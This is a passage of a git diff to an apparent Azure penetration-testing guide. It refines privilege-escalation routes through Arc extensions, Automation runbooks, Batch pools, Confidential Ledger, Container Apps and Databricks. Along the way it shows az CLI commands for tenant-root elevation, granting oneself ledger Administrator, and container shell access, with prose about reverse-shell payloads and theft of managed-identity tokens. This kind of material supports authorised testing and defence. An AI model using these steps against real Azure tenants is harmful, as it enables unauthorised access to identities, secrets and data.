Extension** (`Microsoft.Compute/CustomScriptExtension` on Windows, `Microsoft.Azure.Extensions/CustomScript` on Linux) downloads and runs an attacker-supplied script. The Arc extension manager runs as **Local System / root**, so any extension = SYSTEM/root code exec. Microsoft's own docs warn Custom Script "could be used by attackers to remotely execute commands." Other abusable extensions: **Hybrid Runbook Worker** (run Automation runbooks locally), the **Key Vault extension** (pull secrets/certs to disk), and **AADSSHLogin / AADLoginForWindows** (enable Entra login). Same managed-identity pivot as Run Command. +**Potential Impact:** installing the **Custom Script Extension** (`Microsoft.Compute/CustomScriptExtension` on Windows, `Microsoft.Azure.Extensions/CustomScript` on Linux) downloads and runs an attacker-supplied script as **Local System / root** by default. Microsoft's own docs warn Custom Script "could be used by attackers to remotely execute commands." The Arc machine must be connected, its extension manager enabled and in full mode, and local extension allow/block lists must permit Custom Script. Permission limited to a different existing extension child does not establish this route. Other extensions have different behavior and need their own assessment. Successful script execution can also expose the machine's managed identity through HIMDS. **Stealth:** **low** for the persistent artifact / **medium** for the initial exec — extensions are **durable resources** that persist across reboots and several **auto-upgrade** (re-invoking the handler = persistence), but they show up as a visible child resource and a logged `extensions/write` that lingers in the resource graph (unlike a deletable run command). "Installing an extension" is routine management traffic, so alerting is often absent. @@ -137,6 +139,8 @@ curl -s -H Metadata:true -H "Authorization: Basic $(cat "$KEY")" "$BASE" **Potential Impact:** Azure Arc's **Hybrid Connectivity** relays SSH/RDP to an Arc machine **through Azure with no inbound port open** on the target. `listCredentials` / `listManagedProxyDetails` return the relay access token and proxy details used to tunnel a session (`az ssh arc` / `az connectedmachine`), and `serviceConfigurations/write` can **enable the SSH service** (port 22) on the endpoint if it is not already exposed. Combined with valid local credentials or the Entra-login extension, this yields **interactive access to the Arc host** — an alternative to Run Command that lands you on the box (and thence the HIMDS token) via a normal SSH session. +For Entra administrator SSH, `Microsoft.HybridCompute/machines/loginAsAdmin/action` is a **DataAction on the machine**, while `Microsoft.HybridConnectivity/endpoints/listCredentials/action` is an **Action on that machine's `providers/Microsoft.HybridConnectivity/endpoints/default` extension resource**. The endpoint must have an SSH service configuration, and the Linux machine must have a working `AADSSHLoginForLinux` extension and SSH daemon. Relay credentials alone do not supply an OS login. A local-account route instead requires separately known, valid local credentials; it cannot be inferred from Azure RBAC. + **Stealth:** **medium** — the credential-listing and service-configuration writes are logged control-plane calls, but the SSH session itself and everything done in it are on-box/data-plane and invisible to Azure without EDR/AMA.
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md index 1cbcb0e6c3..e226765e71 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md @@ -15,9 +15,9 @@ For more information about ARM Templates / Deployments access: **Minimum permissions:** `Microsoft.Resources/deploymentScripts/write` (insufficient alone; also needs `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` on the pre-attached UAMI plus `Microsoft.ContainerInstance/containerGroups/read`+`/write`, `Microsoft.Storage/storageAccounts/read`+`/write`+`/listKeys/action`, and `Microsoft.ContainerInstance/containerGroups/delete` if a prior support container was retained) -**Potential Impact:** Replace an existing deployment script that references a privileged user-assigned managed identity so the container runs attacker-supplied Azure CLI/PowerShell as that UAMI — code execution and secret exfiltration (e.g., reading a Key Vault secret) bounded by the UAMI's permissions and network access. +**Potential Impact:** Create or replace a deployment script with an assignable privileged user-assigned managed identity so the container runs attacker-supplied Azure CLI/PowerShell as that UAMI — code execution and secret exfiltration (e.g., reading a Key Vault secret) bounded by the UAMI's permissions and network access. -Azure Deployment Scripts execute supplied Azure CLI or PowerShell in a managed container. Replacing a script that already references a privileged user-assigned managed identity (UAMI) can therefore provide code execution as that identity. +Azure Deployment Scripts execute supplied Azure CLI or PowerShell in a managed container. Creating a script or replacing a script that already references a privileged user-assigned managed identity (UAMI) can therefore provide code execution as that identity. The caller needs `assign/action` on the UAMI even when replacing a script that already references it. A write grant limited to one script resource cannot create a different script in its resource group. > [!TIP] > A `Microsoft.Resources/deploymentScripts` resource with `kind: AzureCLI` and an assigned UAMI runs attacker-supplied `scriptContent` on provisioned Azure Container Instances and can request that identity's ARM token. The code inherits only the UAMI's assigned roles; script logs are readable through `deploymentScripts/logs/read`. The CLI inside the container may label the attached identity as `systemAssignedIdentity`, so inspect the deployment script identity block to identify the actual UAMI. @@ -38,7 +38,7 @@ Microsoft.Storage/storageAccounts/write Microsoft.Storage/storageAccounts/listKeys/action ``` -If the previous script retained its support container, for example with `cleanupPreference: OnExpiration`, the following action is also required: +If the caller can only update an existing script and that script retained its support container, for example with `cleanupPreference: OnExpiration`, the following action is also required: ```text Microsoft.ContainerInstance/containerGroups/delete diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index 9f5fd31b7b..05d98beb05 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -234,6 +234,8 @@ This action grants the caller User Access Administrator access at the tenant sco > [!TIP] > Elevation is available only to users assigned the Microsoft Entra Global Administrator role; activate that role first if Microsoft Entra Privileged Identity Management is in use. The call grants User Access Administrator at root scope (`/`).[[6]](#references) +A tenant-wide PIM eligibility is a separate, conditional path: its eligibility instance must currently be in force, and the user must satisfy any activation requirements before calling `elevateAccess`. An administrative-unit-scoped role does not authorize tenant-root elevation. The resulting Azure RBAC assignment is at `/`, not a separate assignment on every subscription. + ```bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 9ac71e8b9f..58b0f28c79 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -51,6 +51,16 @@ Microsoft explicitly identifies the operation as sensitive and excludes it from This reads stored Automation data; any reusable credential depends on the actual content. See [the Automation post-exploitation section](../az-post-exploitation/az-automation-accounts-post-exploitation.md#microsoftautomationautomationaccountsjobsstreamsread). +### Read runbook source for hardcoded secrets + +`Microsoft.Automation/automationAccounts/runbooks/content/read` can return the published source of a named runbook. A reusable client secret hardcoded there could let a reader authenticate as its service principal. Read access must apply to that exact runbook; an account-level permission alone does not establish that its source contains a credential. Draft source uses a separate endpoint and permission. Verify the returned content, credential validity, and principal mapping before reporting an escalation. + +### Harvest secrets from prior job output and streams + +An Automation job can leave a credential in its output or streams. A caller who knows the job name can request `/jobs//output` with `Microsoft.Automation/automationAccounts/jobs/output/read`, or `/jobs//streams` with `Microsoft.Automation/automationAccounts/jobs/streams/read`. `jobs/read` helps discover jobs but is not needed to read a known job through either endpoint. + +The impact depends on the returned content. A usable client secret for a named Entra service principal can allow authentication as that principal. An access token is limited to its audience and lifetime and should not be treated as unrestricted control of the principal. Verify the exact job, returned content, credential subject, and whether the credential still works before claiming an identity gain. + ### `Microsoft.Automation/automationAccounts/variables/read` This reads stored Automation data; any reusable credential depends on the actual content. See [the Automation post-exploitation section](../az-post-exploitation/az-automation-accounts-post-exploitation.md#microsoftautomationautomationaccountsvariablesread). @@ -59,6 +69,8 @@ This reads stored Automation data; any reusable credential depends on the actual **Minimum permissions:** Ability to run a runbook with `runOn` set to a hybrid worker group (`.../jobs/write` + runbook draft/publish rights), **or** local administrator on a machine that is already a hybrid worker. +For a cloud caller, the runbook edit or creation rights and job or test-job rights must form a complete path on the same Automation account that owns the worker group. A group may contain several workers, so selecting the group does not guarantee that a particular VM will run the job. Microsoft documents that an Arc worker's own managed identity cannot be used when the Automation account has a managed identity enabled. + **Potential Impact:** Bidirectional. **Cloud → on-prem**: arbitrary code execution as the worker's OS account inside the victim's network (often domain-joined, often on-premises), plus access to *every* managed identity attached to that VM via IMDS (`169.254.169.254`) — not just the Automation account's identity. **On-prem → cloud**: local admin on a worker can scrape `IDENTITY_ENDPOINT`/`IDENTITY_HEADER` out of a running job's environment and mint tokens as the Automation account's managed identity. - **From the Automation Account to the VM** @@ -98,7 +110,9 @@ The job process receives the Automation identity endpoint and its secret header ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/content/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -**Minimum permissions:** `runbooks/draft/write` + `runbooks/draft/content/write` + `runbooks/publish/action` + `jobs/write` + `jobs/output/read` on the Automation account. +**Minimum permissions:** A complete create-and-run or edit-and-run runbook route on the Automation account. `jobs/output/read` is additionally needed to retrieve a token printed in the job output. + +For the identity-gain path, the code must run in the same Automation account that carries the identity. Creating a new runbook needs `runbooks/write`, content write, publish, and job creation. Editing an existing runbook needs draft and content write plus publish and job creation, or draft test-job write. Grants scoped to one named runbook apply only to that runbook. `jobs/output/read` is needed to retrieve a token printed by the job; the runbook can also use the identity directly while it executes. **Potential Impact:** **Full takeover of the Automation account's managed identity.** You write a runbook that requests a token from the sandbox identity endpoint, run it, and read the token out of the job output — inheriting every role the identity holds (frequently Contributor or Owner on a subscription). The recovered token identifies the account's system-assigned identity in its `oid` claim and can call ARM with that identity's permissions. @@ -188,6 +202,8 @@ az automation runbook create --automation-account-name --resource **Potential Impact:** Attaches **any user-assigned managed identity you can assign** to an Automation account you can run code in — so you inherit that identity's roles without ever holding them. This is the standard way to turn "I control some automation compute" into "I am the privileged identity", and it is limited only by which identities the `assign/action` grant covers. +To use the identity, the caller also needs a complete runbook execution path in that same Automation account: create a runbook, write its content, publish and start a job, or edit an existing runbook and publish/start it or run a test job. An account-level grant can create a new runbook; a grant limited to one runbook applies only to that runbook. Creating a new Automation account additionally requires account-write permission inherited from its resource group. + These permissions allow the user to **assign a user managed identity** to the Automation Account using:[[1]](#references)[[10]](#references) ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md index aa1c57a35d..fde9983eb0 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md @@ -25,7 +25,7 @@ az batch account keys list \ --name ``` -The keys authenticate to the Batch data plane only when `allowedAuthenticationModes` includes `SharedKey`; otherwise the action fails. Supply a returned key explicitly to avoid silently falling back to the current Entra identity: +The keys authenticate to the Batch data plane only when `allowedAuthenticationModes` includes `SharedKey`; otherwise the action fails. A caller with `Microsoft.Batch/batchAccounts/write` on the same account may first enable Shared Key authentication. The Batch service endpoint must also be reachable under the account's network settings. Supply a returned key explicitly to avoid silently falling back to the current Entra identity: ```bash endpoint=$(az batch account show \ @@ -100,13 +100,13 @@ This reads the caller-accessible Batch job and schedule data. See [Batch post-ex ## Azure Batch job and task data actions -**Minimum permissions:** `Microsoft.Batch/batchAccounts/jobs/*`, `Microsoft.Batch/batchAccounts/jobSchedules/*` (e.g. built-in Azure Batch Job Submitter role) +**Minimum permission:** `Microsoft.Batch/batchAccounts/jobs/write` or `Microsoft.Batch/batchAccounts/jobSchedules/write` on the Batch account. The built-in Azure Batch Job Submitter role grants broader `jobs/*` and `jobSchedules/*` data actions. -**Potential Impact:** Submit jobs/tasks to an existing pool while controlling `commandLine` and `environmentSettings` -> arbitrary code execution on pool compute nodes. If the pool has a user-assigned managed identity, node code requests its token via IMDS -> escalation to that identity's Azure access. +**Potential Impact:** A new job or job schedule can include a Job Manager or Job Preparation Task with a controlled command line. If it targets a pool with compute nodes and a user-assigned managed identity, that code may request the identity's token from the node metadata service. The Batch account must allow Microsoft Entra ID authentication, and the permission must apply to the same account as the pool. Azure Batch jobs group tasks that run on an existing pool. Both a job's common environment settings and an individual task's `environmentSettings` are applied to task processes. A principal authorized to submit jobs/tasks can therefore inject startup variables into a task that starts any matching runtime in the shared matrix.[[1]](#references)[[2]](#references) -The built-in **Azure Batch Job Submitter** role grants the data actions `Microsoft.Batch/batchAccounts/jobs/*` and `Microsoft.Batch/batchAccounts/jobSchedules/*`, plus read access to pools and application packages. Custom roles can grant narrower operations within the same data-plane family.[[3]](#references) +The built-in **Azure Batch Job Submitter** role grants the data actions `Microsoft.Batch/batchAccounts/jobs/*` and `Microsoft.Batch/batchAccounts/jobSchedules/*`, plus read access to pools and application packages. Custom roles can grant narrower write operations. A job or schedule can include a Job Manager Task or Job Preparation Task, so the code execution path does not depend on a separate task-add permission.[[1]](#references)[[3]](#references) ```bash # Authenticate the Batch data-plane CLI with the current Entra identity. @@ -148,16 +148,16 @@ The same task settings can target the full shared Python, Node.js, Ruby, Perl, B ## `Microsoft.Batch/batchAccounts/pools/write` — node RCE via pool `startTask` + managed-identity attach (control-plane, no keys) -**Minimum permissions:** `Microsoft.Batch/batchAccounts/pools/write` (**isDataAction=false**). Built-in: **Azure Batch Data Contributor** (`pools/*`), **Azure Batch Account Contributor** (`Microsoft.Batch/*`). Strictly higher than *Azure Batch Job Submitter* (which only has `pools/read`). +**Minimum permissions:** `Microsoft.Batch/batchAccounts/pools/write` (**isDataAction=false**) on a pool that can be updated, or on a Batch account where a new pool can be created. Attaching a user-assigned identity also requires `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` on that identity. Built-in: **Azure Batch Data Contributor** (`pools/*`), **Azure Batch Account Contributor** (`Microsoft.Batch/*`). Strictly higher than *Azure Batch Job Submitter* (which only has `pools/read`). **Potential Impact:** The ARM pool resource contains a **`startTask`** object (`commandLine`, `resourceFiles`, `environmentSettings`, `userIdentity`) that runs on **every node when it joins/reboots** and can run elevated (`autoUser` with `elevationLevel: admin`). Creating or modifying a pool through ARM therefore yields **arbitrary admin command execution on all pool nodes using ARM RBAC alone — no account Shared Key and no data-plane token** — a distinct path from the documented `jobs/*` data-plane technique. The same single `pools/write` also: -* **Attaches a managed identity** (`identity` block, system- or user-assigned) to the pool → node code reads its token via IMDS → escalation to whatever that identity can do (no separate attach op exists; identity is set through `pools/write`). +* **Attaches a user-assigned managed identity** (`identity` block) to the pool → node code can request its token via IMDS → access to whatever that identity can do. The caller also needs `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` on that identity. Batch pool identities are user-assigned, and changing the identity on an existing pool does not update its current nodes: the pool must scale to zero and create new nodes before the new identity is available there. * **Injects nodes into a target VNet subnet** (`networkConfiguration.subnetId`) for lateral movement / reach to internal resources. * **Opens inbound NAT** (`networkConfiguration.endpointConfiguration.inboundNatPools`) to expose SSH(22)/RDP(3389) on node public IPs for direct interactive access. * Modifying an **existing** pool's `startTask` is a persistence foothold firing on the next reboot/reimage/scale-out. -Attaching a *user-assigned* identity additionally needs `Microsoft.ManagedIdentity/userAssignedIdentities/*/assign/action` on that identity. See [Pool - Create (Batch Management REST)](https://learn.microsoft.com/en-us/rest/api/batchmanagement/pool/create) and [managed identities in Batch pools](https://learn.microsoft.com/en-us/azure/batch/managed-identity-pools).[[5]](#references)[[6]](#references) +See [Pool - Create (Batch Management REST)](https://learn.microsoft.com/en-us/rest/api/batchmanagement/pool/create), [Pool - Update](https://learn.microsoft.com/en-us/rest/api/batchmanagement/pool/update), and [managed identities in Batch pools](https://learn.microsoft.com/en-us/azure/batch/managed-identity-pools).[[5]](#references)[[6]](#references)
Logs generated diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-confidential-ledger-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-confidential-ledger-privesc.md index 2dbc31b726..e64b7f1eff 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-confidential-ledger-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-confidential-ledger-privesc.md @@ -14,7 +14,7 @@ Azure Confidential Ledger (`Microsoft.ConfidentialLedger`) is a tamper-evident, ## Data-plane role self-grant via `ledgers/write` -**Minimum permissions:** `Microsoft.ConfidentialLedger/ledgers/write` (+ `ledgers/read`). +**Minimum permission:** `Microsoft.ConfidentialLedger/ledgers/write` on the ledger. Reading the ledger resource first helps preserve its existing principal list. **Potential Impact:** overwrite the ledger's AAD / cert security-principal list to grant your own principal **Administrator / Contributor** on the data plane, then read all confidential records (`ledgers/transactions/read`) and append entries (`transactions/write`). Because the ledger is append-only with integrity receipts, **existing history cannot be altered or deleted** — the "tamper" is limited to appending misleading entries — but the disclosure of otherwise-confidential audit/financial data from a single control-plane write is the real prize. Whole-ledger destruction is a separate `ledgers/delete` (DoS). @@ -26,10 +26,11 @@ Azure Confidential Ledger (`Microsoft.ConfidentialLedger`) is a tamper-evident, > **Do not rely on `filesExport` as the exfiltration path for a standard Public/Standard ledger.** The operation can return `404 NotFound` even when the ledger is healthy and the target SAS is writable. Read transactions through the data plane after granting the required ledger role with `ledgers/write` instead. ```bash -# Rewrite the security-principal list to add the attacker as Administrator, then read the ledger -az rest --method put \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ConfidentialLedger/ledgers/?api-version=2023-06-28-preview" \ - --body '{"location":"","properties":{"ledgerType":"Public","aadBasedSecurityPrincipals":[{"principalId":"","tenantId":"","ledgerRoleName":"Administrator"}]}}' +# Update the security-principal list to add the caller as Administrator. +# Include the ledger's existing AAD principals in this array when retaining their access. +az rest --method patch \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ConfidentialLedger/ledgers/?api-version=2022-05-13" \ + --body '{"properties":{"aadBasedSecurityPrincipals":[{"principalId":"","tenantId":"","ledgerRoleName":"Administrator"}]}}' ``` ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-apps-privesc.md index eff56c10b5..d17d4408f5 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-apps-privesc.md @@ -25,7 +25,7 @@ This section has moved to [the Container Apps post-exploitation page](../az-post ## `Microsoft.App/containerApps/sourcecontrols/write` — Repoint GitHub Actions deployment **Minimum permissions:** `Microsoft.App/containerApps/sourcecontrols/write` — Container Apps Contributor (`Microsoft.App/containerApps/*/write`), Contributor, or Owner. -**Potential impact:** Repointing the app's GitHub Actions continuous-deployment configuration to an attacker-controlled repository or branch can deploy attacker code as the app and its managed identity when the next build runs. The source-control binding remains in place for later builds. Changing the binding alone does not execute code; a commit or deployment on the configured branch must trigger the build. [Container Apps GitHub Actions deployment](https://learn.microsoft.com/en-us/azure/container-apps/github-actions) creates a new app revision when the workflow updates the image. +**Potential impact:** Repointing the app's GitHub Actions continuous-deployment configuration to an attacker-controlled repository or branch can deploy attacker code as the app and its managed identity when a working build runs. The source-control binding remains in place for later builds. The source-control write permission alone does not establish that GitHub, Azure, and registry credentials are available to the new workflow. A successful attacker-controlled build, deployment of its revision, and a managed identity available to the running app are needed for an identity escalation path. [Container Apps GitHub Actions deployment](https://learn.microsoft.com/en-us/azure/container-apps/github-actions) creates a new app revision when the workflow updates the image.
Logs generated diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md index 5cc93ac62d..41759ce200 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md @@ -224,11 +224,11 @@ Neither permission can modify the image, command, environment, identity, or volu ### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `Microsoft.App/containerApps/revisions/replicas/read`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`, `Microsoft.App/containerApps/exec/action`, `Microsoft.App/containerApps/debug/action` -**Minimum permissions:** `Microsoft.App/containerApps/read` + `managedEnvironments/read` + `revisions/replicas/read` + `revisions/read` + `containerApps/getAuthToken/action` + `exec/action` + `debug/action`. +**Console permissions:** `Microsoft.App/containerApps/getAuthToken/action` and either `Microsoft.App/containerApps/exec/action` or `Microsoft.App/containerApps/debug/action` on the same app. Azure classifies `exec/action` and `debug/action` as DataActions. Azure CLI also reads the app, its environment, revision, and replica details to select a running container. -**Potential Impact:** **Shell / debug console in a running Container App** → run code as the app and its managed identity (escalate to the MI's access). +**Potential Impact:** **Shell / debug console in a running Container App** → access the app's runtime and potentially use an identity available to its main container. -These permissions can allow a user to get a shell or debug console in a running Container App. A managed identity attached to the app can make the shell more valuable when that identity has access to other Azure resources. The `getAuthToken` action is used by Container Apps console-related operations, while `exec` and `debug` provide console access.[[7]](#references)[[8]](#references)[[9]](#references)[[11]](#references) +These permissions can allow a user to get a shell or debug console in a Container App with a running replica. A managed identity attached to the app can make console access more valuable when its `identitySettings` make it available during the main container lifecycle and it has access to other Azure resources. `getAuthToken/action` is used by Container Apps console-related operations; `exec/action` enters an app container, while `debug/action` opens a separate debug container that can access the app container's file system.[[7]](#references)[[8]](#references)[[9]](#references)[[11]](#references) ```bash az containerapp exec --name --resource-group --command "sh" @@ -240,7 +240,8 @@ az containerapp debug --name --resource-group | Operation / signal | Log & plane | Logged by default? | | --- | --- | --- | -| `containerApps/exec/action` / `debug/action` / `getAuthToken/action` | Activity Log — Administrative (control-plane) | Yes (~90 days) | +| `containerApps/getAuthToken/action` | Activity Log — Administrative (control-plane) | Yes (~90 days) | +| `containerApps/exec/action` / `debug/action` | Container App data actions | Depends on diagnostic settings and Azure logging coverage | | In-container command output / interactive console (data-plane) | `ContainerAppConsoleLogs`/`ContainerAppSystemLogs` resource diagnostic (data-plane) | No — diagnostic setting off by default | - `containerApps/exec/action` / `debug/action` / `getAuthToken/action` is logged in the **Activity Log** (Administrative, ~90 days). @@ -361,6 +362,8 @@ If environment or component listing is denied, the exact resource ID can still b Updating a Container App's environment variables creates a new revision. If the existing image command starts an affected interpreter, `containerApps/write` can target the shared Python, Node.js, Ruby, Perl, Bash/zsh/fish, JVM, .NET, PHP, Lua, R, Julia, Erlang/Elixir, GNU Octave, or PowerShell startup matrix. Most variants require an attacker-controlled module/script/agent/configuration tree already readable in the image or a mounted path. The same write permission can also change the image or startup command, which is normally a more direct execution path.[[17]](#references)[[19]](#references) +For an identity escalation, verify that the identity is currently attached to the exact app being changed and that the app can deploy a new revision. A stopped app also needs `Microsoft.App/containerApps/start/action` before the new code runs. The write permission can change the app's identity lifecycle setting and minimum replicas, but a successful image pull and running controlled revision are still needed before the code can use the identity. + ```bash az containerapp update \ --name \ @@ -394,7 +397,7 @@ az containerapp update \ **Potential Impact:** Attach a **user-assigned managed identity** to the app → code in the app gains that identity's access. -These permissions allow a user to attach a user-assigned managed identity to a Container App. The identity can give code in the app access to other Azure resources, depending on its role assignments. The CLI/API path may also need the read or secret-list permissions required to load the app configuration.[[7]](#references)[[11]](#references)[[12]](#references) +These permissions allow a user to attach a user-assigned managed identity to a Container App. Attaching the identity alone does not restart the app or create a revision. The same `containerApps/write` permission can change the app image or startup command to create a revision whose code requests the new identity's token. A stopped app also needs `Microsoft.App/containerApps/start/action` before that code can run. The CLI/API path may need read or secret-list permissions to load the existing configuration.[[7]](#references)[[11]](#references)[[12]](#references) To attach a user-assigned managed identity: @@ -424,7 +427,7 @@ az containerapp identity assign \ **Potential Impact:** **Create a Container App with a UAMI** (and reverse-shell command) → the process runs with the identity's permissions. -These permissions allow a user to create or update a Container App with a user-assigned managed identity. This can provide the app's process with the identity's permissions.[[7]](#references)[[11]](#references)[[17]](#references) +These permissions allow a user to create a Container App with a user-assigned managed identity. The app write permission must apply where the new app is created, and `managedEnvironments/join/action` must apply to the environment it uses. If the environment does not exist, creating it additionally requires `Microsoft.App/managedEnvironments/write`. A controlled image or command can then request the identity's token if the deployment starts a replica.[[7]](#references)[[11]](#references)[[17]](#references) ```bash # Get environments @@ -853,9 +856,9 @@ Do not assume that token retrieval alone guarantees deployed code execution or s **Minimum permissions:** `Microsoft.App/jobs/start/action` on a known Job. `jobs/read` is convenient for fetching its template but is not required when the resource ID, container shape and any target secret names are already known. -**Potential Impact:** Start a job execution with an **overridden template** (attacker image/command) → code execution as the job's container and any managed identity configured as available to it, **without** `jobs/write` (the stored job definition is unchanged). The override can also inject a known Job secret via `secretRef` even when the caller lacks `jobs/listSecrets/action`. +**Potential Impact:** Start a job execution with an **overridden template** (attacker image/command) → code execution as the job's container and any managed identity available in that execution, **without** `jobs/write` (the stored job definition is unchanged). The override can also inject a known Job secret via `secretRef` even when the caller lacks `jobs/listSecrets/action`. -Although jobs are not long-running like Container Apps, a job execution can receive an overridden template. By replacing the default command with a reverse shell or another payload, a user can gain access to the container running that execution. `jobs/start/action` is sufficient at the REST API authorization layer to start an execution with an overridden template; `jobs/write` is only needed to change the persistent job configuration. `jobs/read` is useful for retrieving the complete existing template before replacing it for one execution.[[7]](#references)[[13]](#references)[[14]](#references) +Although jobs are not long-running like Container Apps, a job execution can receive an overridden template. By replacing the default command with a reverse shell or another payload, a user can gain access to the container running that execution. `jobs/start/action` is sufficient at the REST API authorization layer to start an execution with an overridden template; `jobs/write` can instead change the persistent template and schedule an execution. The attached identity is usable when its lifecycle setting allows the main container, or an init container on a supported Consumption workload profile. `jobs/read` is useful for retrieving the existing template before replacing it for one execution.[[7]](#references)[[13]](#references)[[14]](#references) ```bash # Retrieve the current job template: @@ -870,10 +873,7 @@ az containerapp job show --name --resource-group --query # - /bin/bash # image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest -# Update the persistent job template when needed: -az containerapp job update --name --resource-group --yaml job-template.yaml - -# Start an execution with the modified template: +# Start one execution with the modified template: az containerapp job start --name --resource-group --yaml job-template.yaml ``` @@ -945,11 +945,11 @@ az containerapp job secret show --name --resource-group - ### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write` -**Minimum permissions:** `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + `Microsoft.App/jobs/write`. +**Minimum permissions for an existing Job:** `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` on the identity and `Microsoft.App/jobs/write` on that Job. Creating a new Job also needs `Microsoft.App/managedEnvironments/join/action` on a usable environment. **Potential Impact:** Attach a **user-assigned managed identity** to a job → code in the job execution uses that identity's access. -If a user can modify a job's configuration, the user can attach a user-assigned managed identity. That identity might have additional privileges, such as access to other resources or secrets, that code in the job can use.[[7]](#references)[[16]](#references) +If a user can modify an existing Job in a usable environment, they can attach a user-assigned managed identity and change the job template and trigger to run controlled code on a schedule. The identity is useful to that code when it is available in the main job lifecycle and has access to other resources or secrets. Assigning the identity alone does not run the Job.[[7]](#references)[[16]](#references) ```bash az containerapp job identity assign \ @@ -973,11 +973,11 @@ az containerapp job identity assign \ ### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -**Minimum permissions:** `Microsoft.App/managedEnvironments/read` + `jobs/write` + `managedEnvironments/join/action` + `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`. +**Minimum permissions for a new Job:** `jobs/write` on the new Job path, `managedEnvironments/join/action` on the chosen environment, and `userAssignedIdentities/assign/action` on the identity. Azure CLI may also need `managedEnvironments/read` and `jobs/read` to build and verify the request. **Potential Impact:** **Create/update a job with a UAMI** and a payload (e.g. scheduled reverse shell) → run code with the identity's permissions. -If a user can create a new Container Apps Job (or update an existing one) and attach a managed identity, the job can be designed to execute a payload that uses the identity's permissions. For example, a job can run a reverse shell and request tokens or access other resources available to its identity.[[7]](#references)[[11]](#references)[[13]](#references)[[14]](#references) +If a user can create a new Container Apps Job and attach a managed identity, the job can be scheduled to run code that uses the identity's permissions. The new Job must join a usable environment in the same subscription. A caller that can also create and join a new environment may establish that path first. Deployment and the scheduled execution still need to succeed.[[7]](#references)[[11]](#references)[[13]](#references)[[14]](#references) ```bash az containerapp job create \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md index c7d2a25fed..57356bad39 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md @@ -24,7 +24,7 @@ Microsoft.Databricks/workspaces/assignWorkspaceAdmin/action Microsoft.Databricks/workspaces/read ``` -The admin-assignment action passes Azure RBAC by itself, but the Databricks workspace bootstrap additionally requires `workspaces/read`. With both permissions and fresh Entra tokens, the two-token bootstrap places the user in the Databricks `admins` group. +The admin-assignment action passes Azure RBAC by itself, but the documented Databricks workspace bootstrap additionally uses `workspaces/read`. Both operations must apply to the same usable workspace. An enabled tenant member user needs fresh Entra tokens and a network path to that workspace for the two-token bootstrap to place the user in its `admins` group. A grant on another workspace or a service principal does not establish this tested user path. Workspace administrators can manage workspace users and groups and may be able to read notebooks, jobs, secrets, tokens, and data or run workloads using configured compute and identities. Those effects depend on the target workspace, entitlements, Unity Catalog, cluster policies, and Azure resource permissions, so the pair is not automatically an Azure subscription or tenant takeover. @@ -67,7 